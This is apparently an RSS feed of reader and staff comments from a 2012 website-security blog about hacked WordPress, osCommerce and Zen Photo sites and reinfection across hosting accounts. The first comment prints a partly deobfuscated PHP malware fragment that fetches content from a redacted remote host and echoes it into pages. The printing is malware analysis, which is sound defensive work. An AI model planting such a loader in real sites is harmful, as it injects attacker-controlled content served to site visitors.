<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for We Watch Your Website - so you don&#039;t have to!</title>
	<atom:link href="http://wewatchyourwebsite.com/wordpress/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://wewatchyourwebsite.com/wordpress</link>
	<description>Website Security</description>
	<lastBuildDate>Mon, 23 Jan 2012 22:26:33 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>Comment on WordPress websites infected through outdated contact-form-7 plugin by Jurij</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/11/wordpress-websites-infected-through-outdated-contact-form-7-plugin/#comment-1517</link>
		<dc:creator>Jurij</dc:creator>
		<pubDate>Mon, 23 Jan 2012 22:26:33 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=793#comment-1517</guid>
		<description>I managed to decypher the main part of the code. The code is pretty obfuscated, with many base64_decodes, strrev, implode/explode, and nasty variable names which gives you quite a headache. Basically it goes to some site (I will need some time to find out the URL) and print the contents by echo. Here is the main part

&lt;code&gt;@setcookie(&quot;stats&quot;,md5(&quot;stats&quot;),time()+10800); 
$evalsssgqulVBTkZLAch =@file_get_contents(&quot;http://??/in.php?i= &amp;b=???&amp;h=&quot;); //I still have to find out the exact URL.
if (strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){$evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch); $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];
echo $evalsssgqulVBTkZLAch;&lt;/code&gt;

The code also creates a cookie by the name &quot;stats&quot;, which is used to set the URL (domain and parameters).</description>
		<content:encoded><![CDATA[<p>I managed to decypher the main part of the code. The code is pretty obfuscated, with many base64_decodes, strrev, implode/explode, and nasty variable names which gives you quite a headache. Basically it goes to some site (I will need some time to find out the URL) and print the contents by echo. Here is the main part</p>
<p><code>@setcookie("stats",md5("stats"),time()+10800);<br />
$evalsssgqulVBTkZLAch =@file_get_contents("http://??/in.php?i= &amp;b=???&amp;h="); //I still have to find out the exact URL.<br />
if (strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){$evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch); $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];<br />
echo $evalsssgqulVBTkZLAch;</code></p>
<p>The code also creates a cookie by the name &#8220;stats&#8221;, which is used to set the URL (domain and parameters).</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Spam links in WordPress infected websites by Thomas J. Raef</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/10/spam-links-in-wordpress-infected-websites/#comment-1505</link>
		<dc:creator>Thomas J. Raef</dc:creator>
		<pubDate>Sat, 21 Jan 2012 13:01:30 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=764#comment-1505</guid>
		<description>Yes the hackers can infect other websites on the same hosting account.

This happens in a number of ways.

First, often times a hacker will upload a &quot;backdoor&quot; script. This backdoor provides them with a filemanager like view. So everything you can see in your filemanager from your control panel, they have access to as well.

Second, when their (the hackers) script runs to infect files, it seeks out files in all accessible folders.

Quite often we see where the hackers will find a point of entry on one website in a hosting account, and they won&#039;t infect that site but they will infect one of the other sites. They do this because they want you to spend all your time, energy and attention on the one that is infected. So you get it cleaned and then they re-infect it again and again.

Then they might infect one of the other sites in that hosting account and play the same game.

This is why we insist on cleaning all the websites in a hosting account and why are prices are lower on additional websites. Until you scan, clean and analyze all the websites in a hosting account, you&#039;ll never know if you&#039;re really clean.</description>
		<content:encoded><![CDATA[<p>Yes the hackers can infect other websites on the same hosting account.</p>
<p>This happens in a number of ways.</p>
<p>First, often times a hacker will upload a &#8220;backdoor&#8221; script. This backdoor provides them with a filemanager like view. So everything you can see in your filemanager from your control panel, they have access to as well.</p>
<p>Second, when their (the hackers) script runs to infect files, it seeks out files in all accessible folders.</p>
<p>Quite often we see where the hackers will find a point of entry on one website in a hosting account, and they won&#8217;t infect that site but they will infect one of the other sites. They do this because they want you to spend all your time, energy and attention on the one that is infected. So you get it cleaned and then they re-infect it again and again.</p>
<p>Then they might infect one of the other sites in that hosting account and play the same game.</p>
<p>This is why we insist on cleaning all the websites in a hosting account and why are prices are lower on additional websites. Until you scan, clean and analyze all the websites in a hosting account, you&#8217;ll never know if you&#8217;re really clean.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Spam links in WordPress infected websites by Sebastian</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/10/spam-links-in-wordpress-infected-websites/#comment-1503</link>
		<dc:creator>Sebastian</dc:creator>
		<pubDate>Sat, 21 Jan 2012 12:15:03 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=764#comment-1503</guid>
		<description>Hi. I was having attacks  on all Wordpress sites under the same hosting account. Some were using this timthumb.php files, some don&#039;t. there were infected these files:
wp-blog-header.php
index.php
and in all installed themes folders
in all installedthemes
wp-content/themes/theme-name/footer.php
wp-content/themes/theme-name/header.php
wp-content/themes/theme-name/index.php
wp-content/themes/theme-name/sidebar-footer.php

There are no htacces infected files attached.  

Do you think that is possible that they can enter from one vulnerable website to hack the other websites from the same hosting account?

Thanks!</description>
		<content:encoded><![CDATA[<p>Hi. I was having attacks  on all WordPress sites under the same hosting account. Some were using this timthumb.php files, some don&#8217;t. there were infected these files:<br />
wp-blog-header.php<br />
index.php<br />
and in all installed themes folders<br />
in all installedthemes<br />
wp-content/themes/theme-name/footer.php<br />
wp-content/themes/theme-name/header.php<br />
wp-content/themes/theme-name/index.php<br />
wp-content/themes/theme-name/sidebar-footer.php</p>
<p>There are no htacces infected files attached.  </p>
<p>Do you think that is possible that they can enter from one vulnerable website to hack the other websites from the same hosting account?</p>
<p>Thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Securing osCommerce by admin</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/12/securing-oscommerce/#comment-1394</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 26 Dec 2011 14:02:58 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=477#comment-1394</guid>
		<description>You have to find the point of entry for the hackers and remove it.

If your site is built with osCommerce, there are a number of steps to follow to secure it.

Until you find that point of entry and remove it, your site will continually get infected.

Let us know if you need help.</description>
		<content:encoded><![CDATA[<p>You have to find the point of entry for the hackers and remove it.</p>
<p>If your site is built with osCommerce, there are a number of steps to follow to secure it.</p>
<p>Until you find that point of entry and remove it, your site will continually get infected.</p>
<p>Let us know if you need help.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Securing osCommerce by Rev. Titus K. Oyeyemi</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/12/securing-oscommerce/#comment-1352</link>
		<dc:creator>Rev. Titus K. Oyeyemi</dc:creator>
		<pubDate>Mon, 19 Dec 2011 08:09:20 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=477#comment-1352</guid>
		<description>My organization website began to be constantly hacked in the last few months by V!RUS.DZ. The hackers says &quot;We are Algerian Hacker&#039;s (DZ).&quot; It went on to say &quot;Fuck USA - Israel - France - Danemark. (email removed by moderator). The hacker&#039;s Fan Page of Facebook is http://Facebook.com/Evil.Dz. 

The designer and host of my organization&#039;s website has cleaned the website several times. But V!RUS.DZ keeps coming back. Our website is designed for teaching peace education. We are working with a large number of kids in an out of school to cultivate new lifestyle of peaceful co-existence,

I can understand why we are hated as peacemakers, peacebuilders, and peace teachers! We need our website for the work we do! We can we do to stop these hackers from Algeria!</description>
		<content:encoded><![CDATA[<p>My organization website began to be constantly hacked in the last few months by V!RUS.DZ. The hackers says &#8220;We are Algerian Hacker&#8217;s (DZ).&#8221; It went on to say &#8220;Fuck USA &#8211; Israel &#8211; France &#8211; Danemark. (email removed by moderator). The hacker&#8217;s Fan Page of Facebook is <a href="http://Facebook.com/Evil.Dz" rel="nofollow">http://Facebook.com/Evil.Dz</a>. </p>
<p>The designer and host of my organization&#8217;s website has cleaned the website several times. But V!RUS.DZ keeps coming back. Our website is designed for teaching peace education. We are working with a large number of kids in an out of school to cultivate new lifestyle of peaceful co-existence,</p>
<p>I can understand why we are hated as peacemakers, peacebuilders, and peace teachers! We need our website for the work we do! We can we do to stop these hackers from Algeria!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on TimThumb WordPress Plugin Leads to Hacked Websites by admin</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/08/timthumb-wordpress-plugin-leads-to-hacked-websites/#comment-1340</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Sat, 17 Dec 2011 16:16:04 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=695#comment-1340</guid>
		<description>You can use the timthumb.php or thumb.php files, but be certain they are the latest and keep them updated at all times.</description>
		<content:encoded><![CDATA[<p>You can use the timthumb.php or thumb.php files, but be certain they are the latest and keep them updated at all times.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on gogele analytics infection by PJ Brunet</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/12/gogele-analytics-infection/#comment-1300</link>
		<dc:creator>PJ Brunet</dc:creator>
		<pubDate>Wed, 14 Dec 2011 01:28:26 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=817#comment-1300</guid>
		<description>I&#039;ll be looking more carefully at my footer codes in the future ;-)

PS: Just tweeted this post.</description>
		<content:encoded><![CDATA[<p>I&#8217;ll be looking more carefully at my footer codes in the future <img src='http://wewatchyourwebsite.com/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>PS: Just tweeted this post.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on New information on the Zen Photo exploit by nenm</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/11/new-information-on-the-zen-photo-exploit/#comment-1214</link>
		<dc:creator>nenm</dc:creator>
		<pubDate>Sun, 04 Dec 2011 00:08:59 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=813#comment-1214</guid>
		<description>Thanks for providing this info. This is the issue and takes a little bit of detective work to trace this bugger down. This came with the older version of zenphoto (1.2.8.*) for me. Other readers, you may see another great post here to fix your issues:
http://wewatchyourwebsite.com/wordpress/2011/11/zen-photo-exploited-to-infect-websites/

class.images.php is the issue as correctly pointed out in the above article.

Thanks!!</description>
		<content:encoded><![CDATA[<p>Thanks for providing this info. This is the issue and takes a little bit of detective work to trace this bugger down. This came with the older version of zenphoto (1.2.8.*) for me. Other readers, you may see another great post here to fix your issues:<br />
<a href="http://wewatchyourwebsite.com/wordpress/2011/11/zen-photo-exploited-to-infect-websites/" rel="nofollow">http://wewatchyourwebsite.com/wordpress/2011/11/zen-photo-exploited-to-infect-websites/</a></p>
<p>class.images.php is the issue as correctly pointed out in the above article.</p>
<p>Thanks!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Zen Photo exploited to infect websites by nenm</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/11/zen-photo-exploited-to-infect-websites/#comment-1213</link>
		<dc:creator>nenm</dc:creator>
		<pubDate>Sun, 04 Dec 2011 00:05:38 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=805#comment-1213</guid>
		<description>Thanks for great information on this vulnerability. You guys have nailed it!
I have come to your article by searching for zenphoto and thumbsdata.php as I started seeing these files on my sites. I have a older version of zenphoto (1.2.8.*) and made this fix and seemed to work for now.

You have correctly identified class.images.php as the culprit. There is another file called class.image.php in the same ajaxfilemanager/inc folder and that looks like the valid one and looks fine.

Keep up the good work!</description>
		<content:encoded><![CDATA[<p>Thanks for great information on this vulnerability. You guys have nailed it!<br />
I have come to your article by searching for zenphoto and thumbsdata.php as I started seeing these files on my sites. I have a older version of zenphoto (1.2.8.*) and made this fix and seemed to work for now.</p>
<p>You have correctly identified class.images.php as the culprit. There is another file called class.image.php in the same ajaxfilemanager/inc folder and that looks like the valid one and looks fine.</p>
<p>Keep up the good work!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on New information on the Zen Photo exploit by admin</title>
		<link>http://wewatchyourwebsite.com/wordpress/2011/11/new-information-on-the-zen-photo-exploit/#comment-1201</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Fri, 02 Dec 2011 15:18:01 +0000</pubDate>
		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=813#comment-1201</guid>
		<description>Dreamhost keeps their servers very secure so I would not rest on the idea of an infection spread from another site, unless the site is on your hosting account. Then it&#039;s entirely possible.

We&#039;ve been seeing hosting accounts with multiple websites getting infected in strange ways. 

Let&#039;s say there are 6 websites. The hackers might find a point of entry in website #1. They don&#039;t infect that website, they infect websites #5 and #6. This way, you focus all your attention on those sites and not the one they used as their point of entry. This buys them more time re-infecting your sites until you eventually check all your websites and finally focus on website #1 and close the door on their point of entry. 

We see this played out all the time. That&#039;s the problem when people with multiple websites on a hosting account ask us to only clean one website. We can fight with that one but we can&#039;t keep the hackers out until we service all the websites on that hosting account. That&#039;s why we dropped the price so drastically on additional websites.</description>
		<content:encoded><![CDATA[<p>Dreamhost keeps their servers very secure so I would not rest on the idea of an infection spread from another site, unless the site is on your hosting account. Then it&#8217;s entirely possible.</p>
<p>We&#8217;ve been seeing hosting accounts with multiple websites getting infected in strange ways. </p>
<p>Let&#8217;s say there are 6 websites. The hackers might find a point of entry in website #1. They don&#8217;t infect that website, they infect websites #5 and #6. This way, you focus all your attention on those sites and not the one they used as their point of entry. This buys them more time re-infecting your sites until you eventually check all your websites and finally focus on website #1 and close the door on their point of entry. </p>
<p>We see this played out all the time. That&#8217;s the problem when people with multiple websites on a hosting account ask us to only clean one website. We can fight with that one but we can&#8217;t keep the hackers out until we service all the websites on that hosting account. That&#8217;s why we dropped the price so drastically on additional websites.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

